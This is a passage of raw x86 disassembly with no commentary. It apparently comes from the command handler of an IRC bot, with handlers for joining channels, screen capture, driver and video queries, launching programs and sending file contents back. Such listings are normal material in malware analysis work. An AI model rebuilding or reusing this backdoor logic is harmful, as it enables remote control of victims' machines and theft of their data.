		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40884B

loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_408839
; ---------------------------------------------------------------------------

loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_429E58

loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------

loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429E2C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40894A

loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_408934
; ---------------------------------------------------------------------------

loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset dword_429DF0
		jmp	loc_408857
; ---------------------------------------------------------------------------

loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DE8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h

loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854

loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DD4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------

loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429DB8

loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D94
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DE0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D78
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D50
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D44
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2670000h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D30
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------

loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A464
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429D14
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CF4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CD4

loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------

loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------

loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CAC
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C60
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C2C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------

loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BFC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------

loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429BC0

loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi

loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFD4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h

loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B68
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B34
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------

loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429B00
		jmp	short loc_408F78
; ---------------------------------------------------------------------------

loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429AC8

loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A94
		jmp	loc_40874A
; ---------------------------------------------------------------------------

loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A54
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_429A14
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch

loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------

loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299F0
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_4299CC
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_4299C8 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42999C

loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------

loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429984
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429964
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429948
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429930
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40921A

loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_409204
; ---------------------------------------------------------------------------

loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_4298F0

loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298D8
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4298B4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	loc_4023E6

loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_409325
; ---------------------------------------------------------------------------

loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 2670230h
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429898
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------

loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A0A0
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------

loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429874
		jmp	short loc_40939D
; ---------------------------------------------------------------------------

loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429844

loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_429824
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]

loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297D4
		push	eax
		call	sub_41B886

loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CB028
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB030
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------

loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_4297AC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429784
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAF10
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429764
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429740
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429718
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------

loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
